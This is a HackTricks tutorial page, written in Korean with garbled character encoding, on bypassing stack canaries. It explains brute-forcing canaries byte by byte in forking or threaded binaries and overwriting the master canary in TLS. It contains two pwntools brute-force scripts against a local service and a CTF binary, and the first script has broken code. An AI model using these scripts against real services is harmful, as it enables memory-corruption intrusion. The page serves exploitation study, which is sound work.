BF Forked & Threaded Stack Canaries

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋‹น์‹ ์ด canary์™€ PIE (Position Independent Executable)๋กœ ๋ณดํ˜ธ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์ง๋ฉดํ•ด ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ ์šฐํšŒํ•  ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Tip

**checksec**๊ฐ€ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ canary๋กœ ๋ณดํ˜ธ๋˜๊ณ  ์žˆ์Œ์„ ์ฐพ์ง€ ๋ชปํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ์ด๋Š” ์ •์ ์œผ๋กœ ์ปดํŒŒ์ผ๋˜์—ˆ๊ณ  ํ•จ์ˆ˜๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ ํ•จ์ˆ˜ ํ˜ธ์ถœ์˜ ์‹œ์ž‘ ๋ถ€๋ถ„์— ์Šคํƒ์— ๊ฐ’์ด ์ €์žฅ๋˜๊ณ  ์ด ๊ฐ’์ด ์ข…๋ฃŒ ์ „์— ํ™•์ธ๋˜๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด ์ˆ˜๋™์œผ๋กœ ์ด๋ฅผ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Brute force Canary

๊ฐ„๋‹จํ•œ canary๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์€ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ƒˆ๋กœ์šด ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•  ๋•Œ๋งˆ๋‹ค ์ž์‹ ํ”„๋กœ์„ธ์Šค๋ฅผ ํฌํฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์ธ ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค (๋„คํŠธ์›Œํฌ ์„œ๋น„์Šค), ์™œ๋ƒํ•˜๋ฉด ์—ฐ๊ฒฐํ•  ๋•Œ๋งˆ๋‹ค ๊ฐ™์€ canary๊ฐ€ ์‚ฌ์šฉ๋˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ canary๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์€ ๋ฌธ์ž ํ•˜๋‚˜์”ฉ brute-forceํ•˜๋Š” ๊ฒƒ์ด๋ฉฐ, ์ถ”์ธกํ•œ canary ๋ฐ”์ดํŠธ๊ฐ€ ์˜ฌ๋ฐ”๋ฅธ์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ํ”„๋กœ๊ทธ๋žจ์ด ์ถฉ๋Œํ–ˆ๋Š”์ง€ ์•„๋‹ˆ๋ฉด ์ •์ƒ์ ์ธ ํ๋ฆ„์„ ๊ณ„์†ํ•˜๋Š”์ง€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์˜ˆ์ œ์—์„œ๋Š” ํ•จ์ˆ˜๊ฐ€ **8 ๋ฐ”์ดํŠธ canary (x64)**๋ฅผ brute-forceํ•˜๋ฉฐ, ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ถ”์ธกํ•œ ๋ฐ”์ดํŠธ์™€ ์ž˜๋ชป๋œ ๋ฐ”์ดํŠธ๋ฅผ ์‘๋‹ต์ด ์„œ๋ฒ„์— ์˜ํ•ด ๋ฐ˜ํ™˜๋˜๋Š”์ง€๋ฅผ ํ™•์ธํ•˜์—ฌ ๊ตฌ๋ณ„ํ•ฉ๋‹ˆ๋‹ค (๋‹ค๋ฅธ ์ƒํ™ฉ์—์„œ๋Š” try/except๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค):

Example 1

์ด ์˜ˆ์ œ๋Š” 64๋น„ํŠธ๋กœ ๊ตฌํ˜„๋˜์—ˆ์ง€๋งŒ 32๋น„ํŠธ๋กœ๋„ ์‰ฝ๊ฒŒ ๊ตฌํ˜„๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Example 2

์ด๊ฒƒ์€ 32๋น„ํŠธ์— ๋Œ€ํ•ด ๊ตฌํ˜„๋˜์—ˆ์ง€๋งŒ, 64๋น„ํŠธ๋กœ ์‰ฝ๊ฒŒ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ ์ด ์˜ˆ์ œ์—์„œ๋Š” ํ”„๋กœ๊ทธ๋žจ์ด ์ž…๋ ฅ์˜ ํฌ๊ธฐ๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๋ฐ”์ดํŠธ์™€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋จผ์ € ๊ธฐ๋Œ€ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

์Šค๋ ˆ๋“œ

๊ฐ™์€ ํ”„๋กœ์„ธ์Šค์˜ ์Šค๋ ˆ๋“œ๋Š” ๊ฐ™์€ ์นด๋‚˜๋ฆฌ ํ† ํฐ์„ ๊ณต์œ ํ•˜๋ฏ€๋กœ, ์ด์ง„ ํŒŒ์ผ์ด ๊ณต๊ฒฉ์ด ๋ฐœ์ƒํ•  ๋•Œ๋งˆ๋‹ค ์ƒˆ๋กœ์šด ์Šค๋ ˆ๋“œ๋ฅผ ์ƒ์„ฑํ•˜๋ฉด ์นด๋‚˜๋ฆฌ๋ฅผ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฒŒ๋‹ค๊ฐ€, ์นด๋‚˜๋ฆฌ๋กœ ๋ณดํ˜ธ๋œ ์Šค๋ ˆ๋“œ ํ•จ์ˆ˜์—์„œ์˜ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋Š” TLS์— ์ €์žฅ๋œ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์Šค๋ ˆ๋“œ์˜ ์Šคํƒ์—์„œ bof๋ฅผ ํ†ตํ•ด TLS๊ฐ€ ์ €์žฅ๋œ ๋ฉ”๋ชจ๋ฆฌ ์œ„์น˜์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
๊ฒฐ๊ณผ์ ์œผ๋กœ, ๋‘ ๊ฐœ์˜ ๋™์ผํ•œ ์นด๋‚˜๋ฆฌ(์ˆ˜์ •๋œ ์นด๋‚˜๋ฆฌ)๊ฐ€ ์‚ฌ์šฉ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์™„ํ™” ์กฐ์น˜๋Š” ๋ฌด์šฉ์ง€๋ฌผ์ด ๋ฉ๋‹ˆ๋‹ค.
์ด ๊ณต๊ฒฉ์€ ๋‹ค์Œ์˜ ๊ธ€์—์„œ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

๋˜ํ•œ https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015์—์„œ TLS๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ **mmap**์— ์˜ํ•ด ์ €์žฅ๋˜๋ฉฐ, ์Šค๋ ˆ๋“œ์˜ ์Šคํƒ์ด ์ƒ์„ฑ๋  ๋•Œ๋„ mmap์— ์˜ํ•ด ์ƒ์„ฑ๋œ๋‹ค๋Š” ์ ์„ ์–ธ๊ธ‰ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ด์ „ ๊ธ€์—์„œ ๋ณด์—ฌ์ค€ ๊ฒƒ์ฒ˜๋Ÿผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐํƒ€ ์˜ˆ์ œ ๋ฐ ์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ